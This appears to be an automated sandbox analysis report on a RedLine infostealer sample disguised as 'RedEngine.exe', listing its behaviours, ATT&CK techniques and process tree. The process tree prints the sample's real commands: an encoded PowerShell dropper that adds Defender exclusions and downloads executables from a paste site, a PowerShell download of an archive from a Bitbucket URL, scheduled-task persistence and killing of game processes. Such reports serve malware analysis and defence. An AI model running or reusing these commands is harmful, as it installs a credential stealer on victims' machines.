redline | b284ac0acaa2258723002e65cb90bd3c13ab554c483a41907ce973602dbab072

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-09-2024 12:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RedEngine/RedEngine.exe
Size

8KB
MD5

4fbb04c9e3aa983cbfc4980a7b5b7041
SHA1

34aeca658462e638521bc384a4935251678a9a78
SHA256

24f095f4f5796561cc9f9c60f71a2182fee89692f239c92e7447af3461e12731
SHA512

615534039ad97fea8c881656a53b6b0ead41e3770e0a3f3cd38052585dc5a102ab25b824c59c3142b75f6b62e56ff46ab981e27c889ded28a5cc2884581863bc
SSDEEP

192:Gh9Lz2jG4pFMYqLDQ1bhxZzzzhGjcJr9emxan6+UqawcTnYPvkVNxdpD:Gh9Liy4kLDQHtGjcJrQmxan6+/xcTnYg

Score

10^/10

redline credential_access defense_evasion discovery execution infostealer persistence pyinstaller spyware stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/pancek61111111111111/raw

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0002000000022b23-36.dat	family_redline
behavioral2/memory/4612-71-0x0000000000F60000-0x0000000000FD0000-memory.dmp	family_redline

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	3144	powershell.exe
12	3144	powershell.exe
22	812	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe
3696	powershell.exe
4956	powershell.exe
812	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	RedEngine.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	ccvd3okf.yta1.exe

Executes dropped EXE 4 IoCs

pid	Process
4612	ccvd3okf.yta0.exe
2524	ccvd3okf.yta1.exe
1332	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe

Loads dropped DLL 18 IoCs

pid	Process
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe
1436	ccvd3okf.yta2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CLPPTH = "C:\\Users\\Admin\\AppData\\Roaming\\CLPPTH\\clppth.exe"	ccvd3okf.yta2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
22	bitbucket.org
7	bitbucket.org
12	bitbucket.org

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	api.ipify.org
24	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 8 IoCs

discovery

Process Discovery

T1057

pid	Process
1628	tasklist.exe
1224	tasklist.exe
2324	tasklist.exe
740	tasklist.exe
3716	tasklist.exe
3236	tasklist.exe
3168	tasklist.exe
1020	tasklist.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000f000000023334-52.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ccvd3okf.yta0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ccvd3okf.yta1.exe

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
3048	timeout.exe
4104	timeout.exe
4360	timeout.exe
3528	timeout.exe
812	timeout.exe
1812	timeout.exe
5020	timeout.exe
3744	timeout.exe
4136	timeout.exe
2292	timeout.exe
1920	timeout.exe
4524	timeout.exe
4988	timeout.exe
2964	timeout.exe
3976	timeout.exe
4004	timeout.exe
4608	timeout.exe
2180	timeout.exe
3500	timeout.exe
3940	timeout.exe
4988	timeout.exe
4464	timeout.exe
1020	timeout.exe
1376	timeout.exe
1096	timeout.exe
3164	timeout.exe
3028	timeout.exe
3488	timeout.exe
1428	timeout.exe
4820	timeout.exe
3680	timeout.exe
3968	timeout.exe
3100	timeout.exe
4380	timeout.exe
1028	timeout.exe
1904	timeout.exe
748	timeout.exe
4804	timeout.exe
1644	timeout.exe
2044	timeout.exe
2720	timeout.exe
2948	timeout.exe
4128	timeout.exe
1928	timeout.exe
3456	timeout.exe
2736	timeout.exe
4896	timeout.exe
3220	timeout.exe
3452	timeout.exe
392	timeout.exe
1784	timeout.exe
3968	timeout.exe
4452	timeout.exe
5048	timeout.exe
3692	timeout.exe
1148	timeout.exe
2668	timeout.exe
392	timeout.exe
3416	timeout.exe
4312	timeout.exe
1268	timeout.exe
4856	timeout.exe
3876	timeout.exe
1096	timeout.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
3048	taskkill.exe
2736	taskkill.exe
1644	taskkill.exe
2128	taskkill.exe
5016	taskkill.exe
2292	taskkill.exe
1376	taskkill.exe
1292	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3144	powershell.exe
3144	powershell.exe
4956	powershell.exe
4956	powershell.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
2704	powershell.exe
2704	powershell.exe
2704	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
812	powershell.exe
812	powershell.exe
812	powershell.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe
4612	ccvd3okf.yta0.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	4612	ccvd3okf.yta0.exe
Token: SeBackupPrivilege	4612	ccvd3okf.yta0.exe
Token: SeSecurityPrivilege	4612	ccvd3okf.yta0.exe
Token: SeSecurityPrivilege	4612	ccvd3okf.yta0.exe
Token: SeSecurityPrivilege	4612	ccvd3okf.yta0.exe
Token: SeSecurityPrivilege	4612	ccvd3okf.yta0.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	3716	tasklist.exe
Token: SeDebugPrivilege	2292	taskkill.exe
Token: SeDebugPrivilege	3236	tasklist.exe
Token: SeDebugPrivilege	1376	taskkill.exe
Token: SeDebugPrivilege	3168	tasklist.exe
Token: SeDebugPrivilege	1292	taskkill.exe
Token: SeDebugPrivilege	1020	tasklist.exe
Token: SeDebugPrivilege	3048	taskkill.exe
Token: SeDebugPrivilege	1628	tasklist.exe
Token: SeDebugPrivilege	2736	taskkill.exe
Token: SeDebugPrivilege	1224	tasklist.exe
Token: SeDebugPrivilege	1644	taskkill.exe
Token: SeDebugPrivilege	2324	tasklist.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	740	tasklist.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1880	WMIC.exe
Token: SeSecurityPrivilege	1880	WMIC.exe
Token: SeTakeOwnershipPrivilege	1880	WMIC.exe
Token: SeLoadDriverPrivilege	1880	WMIC.exe
Token: SeSystemProfilePrivilege	1880	WMIC.exe
Token: SeSystemtimePrivilege	1880	WMIC.exe
Token: SeProfSingleProcessPrivilege	1880	WMIC.exe
Token: SeIncBasePriorityPrivilege	1880	WMIC.exe
Token: SeCreatePagefilePrivilege	1880	WMIC.exe
Token: SeBackupPrivilege	1880	WMIC.exe
Token: SeRestorePrivilege	1880	WMIC.exe
Token: SeShutdownPrivilege	1880	WMIC.exe
Token: SeDebugPrivilege	1880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1880	WMIC.exe
Token: SeRemoteShutdownPrivilege	1880	WMIC.exe
Token: SeUndockPrivilege	1880	WMIC.exe
Token: SeManageVolumePrivilege	1880	WMIC.exe
Token: 33	1880	WMIC.exe
Token: 34	1880	WMIC.exe
Token: 35	1880	WMIC.exe
Token: 36	1880	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1880	WMIC.exe
Token: SeSecurityPrivilege	1880	WMIC.exe
Token: SeTakeOwnershipPrivilege	1880	WMIC.exe
Token: SeLoadDriverPrivilege	1880	WMIC.exe
Token: SeSystemProfilePrivilege	1880	WMIC.exe
Token: SeSystemtimePrivilege	1880	WMIC.exe
Token: SeProfSingleProcessPrivilege	1880	WMIC.exe
Token: SeIncBasePriorityPrivilege	1880	WMIC.exe
Token: SeCreatePagefilePrivilege	1880	WMIC.exe
Token: SeBackupPrivilege	1880	WMIC.exe
Token: SeRestorePrivilege	1880	WMIC.exe
Token: SeShutdownPrivilege	1880	WMIC.exe
Token: SeDebugPrivilege	1880	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1880	WMIC.exe
Token: SeRemoteShutdownPrivilege	1880	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 3144	8	RedEngine.exe	83
PID 8 wrote to memory of 3144	8	RedEngine.exe	83
PID 3144 wrote to memory of 4956	3144	powershell.exe	86
PID 3144 wrote to memory of 4956	3144	powershell.exe	86
PID 3144 wrote to memory of 4612	3144	powershell.exe	96
PID 3144 wrote to memory of 4612	3144	powershell.exe	96
PID 3144 wrote to memory of 4612	3144	powershell.exe	96
PID 3144 wrote to memory of 2524	3144	powershell.exe	97
PID 3144 wrote to memory of 2524	3144	powershell.exe	97
PID 3144 wrote to memory of 2524	3144	powershell.exe	97
PID 3144 wrote to memory of 1332	3144	powershell.exe	99
PID 3144 wrote to memory of 1332	3144	powershell.exe	99
PID 2524 wrote to memory of 4124	2524	ccvd3okf.yta1.exe	100
PID 2524 wrote to memory of 4124	2524	ccvd3okf.yta1.exe	100
PID 4124 wrote to memory of 4924	4124	cmd.exe	103
PID 4124 wrote to memory of 4924	4124	cmd.exe	103
PID 1332 wrote to memory of 1436	1332	ccvd3okf.yta2.exe	104
PID 1332 wrote to memory of 1436	1332	ccvd3okf.yta2.exe	104
PID 4124 wrote to memory of 3952	4124	cmd.exe	105
PID 4124 wrote to memory of 3952	4124	cmd.exe	105
PID 4124 wrote to memory of 4320	4124	cmd.exe	106
PID 4124 wrote to memory of 4320	4124	cmd.exe	106
PID 4124 wrote to memory of 4760	4124	cmd.exe	107
PID 4124 wrote to memory of 4760	4124	cmd.exe	107
PID 4124 wrote to memory of 5020	4124	cmd.exe	108
PID 4124 wrote to memory of 5020	4124	cmd.exe	108
PID 1436 wrote to memory of 4032	1436	ccvd3okf.yta2.exe	109
PID 1436 wrote to memory of 4032	1436	ccvd3okf.yta2.exe	109
PID 4124 wrote to memory of 5008	4124	cmd.exe	111
PID 4124 wrote to memory of 5008	4124	cmd.exe	111
PID 4032 wrote to memory of 2704	4032	cmd.exe	112
PID 4032 wrote to memory of 2704	4032	cmd.exe	112
PID 4032 wrote to memory of 3696	4032	cmd.exe	113
PID 4032 wrote to memory of 3696	4032	cmd.exe	113
PID 4124 wrote to memory of 2916	4124	cmd.exe	114
PID 4124 wrote to memory of 2916	4124	cmd.exe	114
PID 2916 wrote to memory of 3932	2916	cmd.exe	115
PID 2916 wrote to memory of 3932	2916	cmd.exe	115
PID 4124 wrote to memory of 3248	4124	cmd.exe	116
PID 4124 wrote to memory of 3248	4124	cmd.exe	116
PID 3248 wrote to memory of 4444	3248	cmd.exe	117
PID 3248 wrote to memory of 4444	3248	cmd.exe	117
PID 4032 wrote to memory of 4956	4032	cmd.exe	118
PID 4032 wrote to memory of 4956	4032	cmd.exe	118
PID 4124 wrote to memory of 812	4124	cmd.exe	119
PID 4124 wrote to memory of 812	4124	cmd.exe	119
PID 4124 wrote to memory of 3716	4124	cmd.exe	122
PID 4124 wrote to memory of 3716	4124	cmd.exe	122
PID 4124 wrote to memory of 3892	4124	cmd.exe	123
PID 4124 wrote to memory of 3892	4124	cmd.exe	123
PID 4124 wrote to memory of 2292	4124	cmd.exe	124
PID 4124 wrote to memory of 2292	4124	cmd.exe	124
PID 4124 wrote to memory of 3236	4124	cmd.exe	125
PID 4124 wrote to memory of 3236	4124	cmd.exe	125
PID 4124 wrote to memory of 4524	4124	cmd.exe	126
PID 4124 wrote to memory of 4524	4124	cmd.exe	126
PID 4124 wrote to memory of 1376	4124	cmd.exe	127
PID 4124 wrote to memory of 1376	4124	cmd.exe	127
PID 4124 wrote to memory of 3168	4124	cmd.exe	128
PID 4124 wrote to memory of 3168	4124	cmd.exe	128
PID 4124 wrote to memory of 988	4124	cmd.exe	129
PID 4124 wrote to memory of 988	4124	cmd.exe	129
PID 4124 wrote to memory of 1292	4124	cmd.exe	130
PID 4124 wrote to memory of 1292	4124	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\RedEngine\RedEngine.exe
"C:\Users\Admin\AppData\Local\Temp\RedEngine\RedEngine.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- - C:\Users\Admin\AppData\Roaming\ccvd3okf.yta0.exe
    "C:\Users\Admin\AppData\Roaming\ccvd3okf.yta0.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4612
- - C:\Users\Admin\AppData\Roaming\ccvd3okf.yta1.exe
    "C:\Users\Admin\AppData\Roaming\ccvd3okf.yta1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\979C.tmp\979D.tmp\979E.bat C:\Users\Admin\AppData\Roaming\ccvd3okf.yta1.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4124
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:4924
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3952
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4320
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4760
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:5020
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5008
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2916
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:3932
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3248
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:4444
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:812
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3716
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:3892
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2292
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3236
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:4524
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1376
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3168
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:988
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1292
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1020
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:3172
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3048
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1628
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:2612
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1224
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:1588
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1644
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2324
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:3604
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2128
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:2740
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:740
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:4336
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:4552
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:116
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        5⤵
        
        PID:536
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
